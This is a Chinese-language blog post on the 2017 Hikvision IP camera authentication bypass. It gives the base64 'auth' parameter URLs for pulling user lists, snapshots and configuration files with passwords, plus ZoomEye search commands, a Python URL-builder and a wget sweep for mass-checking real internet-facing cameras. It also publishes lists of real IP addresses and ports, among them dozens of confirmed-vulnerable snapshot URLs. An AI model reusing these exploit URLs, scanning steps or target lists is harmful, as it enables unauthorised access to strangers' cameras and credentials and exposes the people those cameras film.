LOADING...
Hikvision IP 摄像头后台绕过漏洞是一个存在于 HikCGI 协议中的安全缺陷,允许攻击者通过在 URL 中添加特定的 Base64 编码参数直接绕过身份验证并获取管理员权限。文章详细解析了该漏洞的技术原理,演示了如何利用 ZoomEye 搜索引擎检索 2016 年前后的潜在受影响设备,并提供了基于 Python 和 wget 的批量验证脚本以确认漏洞的有效性,旨在通过实战案例分析过往的 IoT 设备安全问题。
注:此漏洞已于2017年被修复。本文仅作为学习用途。
最近在学校用Kali扫内网ms17-010的时候,发现扫了一大堆主机居然只扫出来两个,而且在攻击时发现的确没用。
诚然,永恒之蓝作为2017年的漏洞,早已在当时被紧急修复,五年过去依旧存在这个漏洞的Windows7设备已经寥寥无几了。但是在用nmap扫描时,我发现学校内有 Hikvision IP camera设备,大概都是2016年装上的,于是回家一查,果然存在一个后台绕过漏洞。
但是不巧的是,因为疫情封校还没法回去实践,于是在这里应用一下,看看公网上还有多少设备存在这漏洞。
// 摘抄自 packetstormsecurity
Hikvision camera API includes support for proprietary HikCGI protocol, which exposes URI endpoints through the camera's web interface. The HikCGI protocol handler checks for the presence of a parameter named "auth" in the query string and if that parameter contains a base64-encoded "username:password" string, the HikCGI API call assumes the idntity of the specified user. The password is ignored.
Virtually all Hikvision products come with a superuser account named "admin", which can be easily impersonated.
也就是说我们可以直接通过在链接后加入 "?auth="+[base64编码的用户名:密码]的形式轻松绕过。这个 [base64编码的用户名:密码]仅需要用户名对应,密码是什么无所谓,所以我们可以直接随便加密一个:
admin:11
↓base64↓
YWRtaW46MTEK
也就是说,我们在需要权限的页面url上直接加入?auth=YWRtaW46MTEK就能绕过验证。这些url包括:
从结果上来看,获取用户列表的结果是这样的:
获取快照则会得到当前截图:
image.png
而获得配置则会直接得到一份当前摄像头的配置情况,包括账号密码。
值得注意的是,这里的配置其实也简单加密了一下,实际上的密钥似乎是abcdefg,不过这不难解决,在github上就有相关的解密工具。 Github@WormChickenWizard/hikvision-decrypter
解密前它是一个二进制文件,解密后它同样也是一个二进制文件,不过解密后可以直接用Hex编辑器搜索 admin,密码就在它的下两行。
这里借助zoomeye的命令行插件请求,方便后续的数据导出。(网页版zoomeye导出数据需会员)
可自Github下载: Github@knownsec/ZoomEye-python
首先需要配置这个命令行工具,这里略,因为在Github仓库内有详细的中文文档说明。仅需填入API key即可。
之后我们就可以使用这个搜索了,例子如下:
正确执行后,输出应该类似这样:
image.png
解析一下以上搜索的命令:
这就八九不离十了,如果需要更进一步还可以加上额外选项,如city:"shanghai"等等,详见zoomeye官网。
接下来就是导出,因为工具本来就有选项,十分简单
这里唯一增加的选项是 ,表示额外存储端口(默认必存IP),另外将数量至1000,有需要也可以设置多一些。
不过因为导出是每次请求20个结果的缘故需要时间,等待导出即可。
导出的结果如下:
接下来就是去验证每个IP是否有效。
我这里是采用获取快照的方式,可以方便的用wget的--spider模式确认是否能访问到快照。
那么就需要先去得到有效的url,在上面zoomeye导出的时候会生成一个json,我们在这里可以直接每行解析一下,将完成结果写入到另一个文件中。
上面这个python小程序会把它所在文件夹内的 中的全部ip转换为url形式存储在 中,每行一个:
这样的格式就让我们看起来很舒服了,接下来就可以用wget去逐一验证:
此操作将静默进行,结果会用wget的简洁模式存储在data.log中,方便我们检索。
上面设置的超时时间与超时重试次数都是1,耗时较短,如果有耐心可以设置大一点。
完成后,data.log中的结果应该如下:
可以看到,能成功访问的url都有200标识,逐一解释一下其余的:
为了方便我们进一步处理,用正则表达式替换以下字符为空:
不出意外的话,最后留下的就是存在漏洞的链接了。
我这里试了一下,1000个ip中大概有70个存在此漏洞,也就是7%吧
附最终结果:
也可以选择在show.html查看可用度。
其余如何利用漏洞的环节不再赘述,不要用于非法用途。
上述就是对2017年 HikvisionIP摄像头后台绕过漏洞的应用, 终。
-save-save porttargets.jsonresult.txt// 获取用户列表
http://camera.ip:port/Security/users?auth=YWRtaW46MTEK
// 获取快照
http://camera.ip:port/onvif-http/snapshot?auth=YWRtaW46MTEK
// 获得摄像头配置
http://camera.ip/System/configurationFile?auth=YWRtaW46MTEKzoomeye search 'iconhash: "89b932fcc47cf4ca3faadb0cfdef89cf" +2016 +country:"CN" +after:"2021-12-22" +app:"Hikvision IP camera httpd"' -num 20<?xml version="1.0" encoding="UTF-8"?>
<UserList version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema">
<User version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema">
<id>1</id>
<userName>admin</userName>
<priority>high</priority>
<ipAddress>0.0.0.0</ipAddress>
<macAddress>00:00:00:00:00:00</macAddress>
<userLevel>Administrator</userLevel>
</User>
</UserList>zoomeye search 'iconhash: "89b932fcc47cf4ca3faadb0cfdef89cf" +2016 +country:"CN" +after:"2021-12-22" +app:"Hikvision IP camera httpd"' -num 1000 -save port{'ip': '221.0.16.166', 'port': 8808}
{'ip': '60.216.142.12', 'port': 8808}
{'ip': '27.211.181.181', 'port': 8808}
{'ip': '61.132.107.234', 'port': 32400}
{'ip': '111.23.146.92', 'port': 32400}
{'ip': '113.234.39.166', 'port': 995}
{'ip': '112.232.246.135', 'port': 8808}
{'ip': '112.232.247.90', 'port': 8808}
{'ip': '39.71.193.248', 'port': 8808}
{'ip': '39.71.192.8', 'port': 8808}
{'ip': '114.33.140.212', 'port': 8883}
{'ip': '137.189.185.154', 'port': 8005}
{'ip': '182.135.224.187', 'port': 8005}
{'ip': '112.240.5.75', 'port': 8005}
{'ip': '1.65.200.1', 'port': 8883}
{'ip': '114.246.201.88', 'port': 88}
{'ip': '114.246.216.66', 'port': 88}
{'ip': '119.145.77.202', 'port': 88}
{'ip': '182.84.45.51', 'port': 88}
{'ip': '122.247.197.186', 'port': 88}
{'ip': '122.244.52.251', 'port': 88}
{'ip': '122.240.1.130', 'port': 88}
{'ip': '122.245.80.91', 'port': 88}
{'ip': '122.240.204.77', 'port': 88}
......http://221.0.16.166:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
http://60.216.142.12:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
http://27.211.181.181:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
http://61.132.107.234:32400/onvif-http/snapshot?auth=YWRtaW46MTEK
http://111.23.146.92:32400/onvif-http/snapshot?auth=YWRtaW46MTEK
http://113.234.39.166:995/onvif-http/snapshot?auth=YWRtaW46MTEK
http://112.232.246.135:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
http://112.232.247.90:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
http://39.71.193.248:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
http://39.71.192.8:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
http://114.33.140.212:8883/onvif-http/snapshot?auth=YWRtaW46MTEK
http://137.189.185.154:8005/onvif-http/snapshot?auth=YWRtaW46MTEK
http://182.135.224.187:8005/onvif-http/snapshot?auth=YWRtaW46MTEK
http://112.240.5.75:8005/onvif-http/snapshot?auth=YWRtaW46MTEK
http://1.65.200.1:8883/onvif-http/snapshot?auth=YWRtaW46MTEK
http://114.246.201.88:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://114.246.216.66:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://119.145.77.202:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://182.84.45.51:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://122.247.197.186:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://122.244.52.251:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://122.240.1.130:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://122.245.80.91:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://122.240.204.77:88/onvif-http/snapshot?auth=YWRtaW46MTEK
......wget --tries 1 --timeout 1 -nv -o data.log --spider -i result.txtfailed: Connection timed out.
2022-12-23 18:05:11 URL: http://39.89.12.34:88/onvif-http/snapshot?auth=YWRtaW46MTEK 200 OK
failed: Connection timed out.
Username/Password Authentication Failed.
failed: Connection timed out.
failed: Connection timed out.
Read error (Connection timed out) in headers.
failed: Connection timed out.
Username/Password Authentication Failed.
failed: Connection timed out.
failed: Connection timed out.
failed: Connection timed out.
Username/Password Authentication Failed.
failed: Connection timed out.
failed: Connection refused.
2022-12-23 18:05:36 URL: http://27.223.48.100:88/onvif-http/snapshot?auth=YWRtaW46MTEK 200 OK
failed: Connection timed out.
failed: Connection refused.
failed: Connection timed out.
failed: Connection refused.
failed: Connection refused.
Username/Password Authentication Failed.
2022-12-23 18:05:39 URL: http://221.215.171.198:81/onvif-http/snapshot?auth=YWRtaW46MTEK 200 OK
failed: Connection refused.
......
// 以下不需要使用正则表达式
Username/Password Authentication Failed.
failed: Connection timed out.
failed: Connection refused.
Read error (Connection timed out) in headers.
Remote file does not exist -- broken link!!!
200 OK
// 以下需要使用正则表达式
^.*:$ // 去除坏链
[0-9]*-[0-9]*-[0-9]* [0-9]*:[0-9]*:[0-9]* URL: //去除时间
[ tn]*$ //去除空行&空格http://221.0.16.166:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
http://27.211.181.181:8808/onvif-http/snapshot?auth=YWRtaW46MTEK
http://137.189.185.154:8005/onvif-http/snapshot?auth=YWRtaW46MTEK
http://114.246.216.66:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://116.132.38.26:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://61.155.60.154:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://111.17.186.222:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://60.211.176.138:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://139.170.232.34:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://60.29.192.154:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://218.17.121.235:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://222.135.125.233:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://120.211.63.194:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://120.236.75.243:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://115.238.136.42:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://39.89.12.34:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://27.9.47.186:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://220.132.146.242:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://110.167.76.104:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://112.16.175.58:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://222.184.120.162:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://119.120.224.118:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://180.161.47.184:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://180.161.91.12:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://211.140.148.199:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://211.143.231.238:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://223.68.200.14:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://114.218.22.55:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://59.173.49.211:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://119.1.107.250:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://27.200.21.66:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://27.196.174.10:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://103.100.64.75:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://180.158.150.171:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://218.203.76.97:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://117.86.108.6:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://116.232.75.214:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://116.230.31.118:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://125.123.232.251:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://183.214.115.6:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://101.74.233.94:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://180.165.218.224:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://114.88.37.77:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://114.95.248.231:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://220.178.172.134:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://220.180.211.97:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://124.77.94.21:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://114.233.4.106:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://114.231.243.80:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://125.90.3.102:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://125.95.237.71:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://14.120.74.123:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://223.82.14.139:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://223.94.87.221:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://223.94.87.221:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://223.82.36.194:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://116.11.185.163:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://183.250.109.133:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://183.250.246.173:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://183.247.200.105:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://183.248.215.239:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://183.196.178.34:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://115.171.0.224:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://183.233.250.61:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://183.238.201.243:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://111.194.239.146:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://61.131.71.114:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://218.94.67.130:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://218.88.5.67:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://183.63.221.22:88/onvif-http/snapshot?auth=YWRtaW46MTEK
http://137.189.185.154:8005/onvif-http/snapshot?auth=YWRtaW46MTEK
......
# python 3
# -*- coding: utf-8 -*-
import os
import time
from datetime import datetime
import json
urls0 = 'https://'
urls1 = 'http://'
urls3 = '/onvif-http/snapshot?auth=YWRtaW46MTEK'
# 初始化
startTime = time.localtime()
startDateTime = datetime.now()
print('[初始化进程运行] - '+time.strftime("%H:%M:%S",time.localtime()))
if 'targets.json' in os.listdir('.'):
with open(r'./targets.json','r') as fp:
l1 = fp.readlines()
print(f' 检测到目标,共载入{len(l1)}个数据')
else:
print('[Error]未检测到targets.json,无目标')
exit()
print('[主进程运行]')
for i in range(len(l1)):
jsons = json.loads(str(l1[i]).replace('n','').replace(''','"'))
url2 = str(jsons['ip'])+':'+str(jsons['port'])
with open(r'./ok.info','a') as f2:
f2.write(urls1+url2+urls3+'n')
print('r'+time.strftime("%H:%M:%S",time.localtime())+'» 总进度:['+'|'*(i//(len(l1)//50)+1)+' '*(50-(i//(len(l1)//50))-1)+']'+str(i)+'/'+str(len(l1))+' - '+str(round(float((i/len(l1)))*100,2))+'%')
评论